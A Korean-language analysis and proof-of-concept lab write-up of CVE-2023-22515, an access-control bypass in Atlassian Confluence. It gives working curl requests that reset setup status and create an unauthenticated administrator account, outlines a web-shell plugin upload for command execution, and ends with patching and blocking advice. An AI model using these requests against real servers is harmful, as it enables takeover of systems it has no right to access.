
CVE-2023-22515에 대한 상세 분석 및 개념 증명 익스플로잇입니다. 이 취약점은 Atlassian Confluence Data Center 및 Server에서 발견된 심각한 접근 제어 우회 취약점으로, 인증되지 않은 관리자 계정 생성 및 잠재적인 원격 코드 실행을 가능하게 합니다.
CVE-2023-22515는 Atlassian Confluence Data Center 및 Server 제품에서 발견된 치명적인(Critical) Broken Access Control 취약점입니다. 공격자는 인증되지 않은 상태에서 원격으로 서버의 초기 설정 과정을 재활성화하고, 이를 통해 새로운 관리자 계정을 생성하여 시스템을 완전히 장악할 수 있습니다.
이 취약점의 핵심은 XWork2 프레임워크의 파라미터 바인딩 메커니즘과 Confluence의 액션(Action) 처리 로직 간의 미흡한 검증에 있습니다.
공격자는 URL 파라미터를 통해 bootstrapStatusProvider.applicationConfig.setupComplete 값을 false로 조작할 수 있습니다. 이 속성은 Confluence가 설치 및 설정이 완료되었는지를 판단하는 중요한 플래그입니다.
GET /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false HTTP/1.1
Host: <target-ip>
위 요청을 보내면 서버는 메모리 상에서 설정이 완료되지 않은 상태라고 인식하게 됩니다. 이는 영구적인 설정 파일(confluence.cfg.xml)을 변경하는 것은 아니지만, 런타임 중에 상태를 변경하여 접근 제어를 우회할 수 있게 합니다.
/server-info.action 등의 공개된 엔드포인트에 접근하면서 bootstrapStatusProvider.applicationConfig.setupComplete=false 파라미터를 전달합니다./setup/* 하위의 관리자 설정 페이지에 대한 접근 제한이 해제됩니다./setup/setupadministrator.action 페이지에 접근하여 새로운 시스템 관리자(System Administrator) 계정을 생성합니다.Docker를 사용하여 취약한 버전(8.5.1)의 Confluence Server를 구축하였습니다.
atlassian/confluence-server:8.5.1docker-compose.yml (요약):
services:
confluence:
image: atlassian/confluence-server:8.5.1
ports:
- "8090:8090"
environment:
- ATL_DB_TYPE=postgresql
# ... DB 설정 ...
Python 의존성 문제를 피하기 위해 curl을 이용한 Bash 스크립트로 PoC를 작성하여 실행하였습니다.
Exploit Flow:
Reset Setup Status:
curl -v "http://localhost:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false"
결과: HTTP 302 리다이렉트 응답이 반환되며, 내부적으로 설정 완료 상태가 해제됨을 확인했습니다.
Create Administrator:
curl -X POST "http://localhost:8090/setup/setupadministrator.action" \
-H "X-Atlassian-Token: no-check" \
--data "username=hacked_admin&password=p@ssw0rd123&..."
결과: 해당 요청을 통해 hacked_admin 계정 생성을 시도하였으며, 이후 로그인 페이지에서 해당 계정으로 접근이 가능해집니다.
Atlassian에서 제공하는 최신 버전으로 즉시 업그레이드해야 합니다.
패치가 불가능한 경우, /setup/* 엔드포인트에 대한 접근을 네트워크 수준(로드 밸런서, WAF, 리버스 프록시 등)에서 차단해야 합니다.
/setup/*CVE-2023-22515를 통해 관리자 권한을 획득한 공격자는 시스템 명령을 실행(RCE)하는 단계로 나아갈 수 있습니다.
Confluence는 관리자에게 플러그인(Add-on) 설치 권한을 제공합니다. 공격자는 이를 악용하여 웹 쉘(Web Shell) 기능이 포함된 악성 플러그인을 업로드함으로써 서버 운영체제에 대한 제어권을 획득할 수 있습니다.
/setup/finishsetup.action 등을 통해 강제로 설정을 완료하거나(라이선스 우회 필요), 기존 세션을 이용해 접근 가능한 관리자 메뉴를 탐색Confluence Administration -> Manage Apps -> Upload App.jar 파일/plugins/servlet/webshell?cmd=id)에 접근하여 시스템 명령 실행본 실습 환경(Docker)은 유효한 Confluence 라이선스가 없어 초기 설정(Setup) 단계를 완료할 수 없습니다. 따라서 관리자 계정 생성 요청은 성공(302 Redirect)했으나, 이후 플러그인 메뉴 접근 및 실제 RCE 실행은 제한되었습니다. 실제 운영 환경에서는 라이선스가 등록되어 있으므로 이러한 제한 없이 즉시 RCE가 가능합니다.
CVE-2023-22515는 인증 없이 관리자 권한을 획득할 수 있는 매우 위험한 취약점입니다. 단순히 URL 파라미터 조작만으로 공격이 가능하여 공격 난이도가 매우 낮습니다. 따라서 해당 버전을 사용하는 조직은 즉각적인 패치 또는 완화 조치를 적용해야 합니다.